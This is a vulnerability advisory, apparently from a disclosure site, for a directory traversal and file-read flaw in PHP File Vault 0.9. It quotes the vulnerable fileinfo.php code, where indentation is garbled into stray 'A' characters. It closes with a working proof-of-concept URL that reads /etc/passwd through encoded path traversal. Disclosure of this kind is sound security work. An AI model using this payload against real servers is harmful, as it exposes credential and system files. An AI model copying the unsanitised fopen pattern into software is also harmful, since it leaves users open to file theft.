PHP File Vault 0.9 Directory Traversal / File Read

Published
Credit
Risk
2016.07.26
N_A
Medium
CWE
CVE
Local
Remote
CWE-22
N/A
No
Yes

PHP File Vault version 0.9 , remote directory traversal and read file vulnerabilty
==================================================================================


Discovered by N_A, N_A[at]tutanota.com
======================================




Description
===========


A very small PHP website application which stores anonymously uploaded files and retrieves them by SHA1 hash (a fingerprint of the file which is provided after uploading). Developed for anonysource.org , a kanux project.

https://sourceforge.net/projects/php-file-vault



Vulnerability
=============


The vulnerability exists within the fileinfo.php file of the package:


A A A if (empty($_GET['sha1'])) die("sha1 is required to get file info");
A A A $sha1 = trim($_GET['sha1']);


the 'sha1' variable is requested via the GET method. It is passed as a variable to the 'parseFileInfo' function. This function incorporates a call to
the fopen() function within PHP:



A A A A A A function parseFileInfo($fi) {
A A A A A A $fh = fopen($fi,'r');
A A A A A A $fname = trim(fgets($fh));
A A A A A A fclose($fh);
A A A A A A return array($fname);
A A A A A }



The parseFileInfo() function is called within the file fileinfo.php with the 'sha1' variable inside:

A A A A A A if (!is_readable(FI.$sha1)) die("cannot read file info!");
A A A A A A list($fname) = parseFileInfo(FI.$sha1);

A A A A A A readfile('head.html');

A A A A A A if ($fname) echo "<h1><a href=\"/$sha1\">$fname</a></h1>";


This is the vulnerability that allows parts of *any world readable* file to be read by a remote attacker.

Attacks can include gathering sensitive information, .bash_history, .rhosts, /etc/passwd and so on.


Proof Of Concept
================

PoC exploit = http://127.0.0.1/htdocs/fileinfo.php?sha1=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd




See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com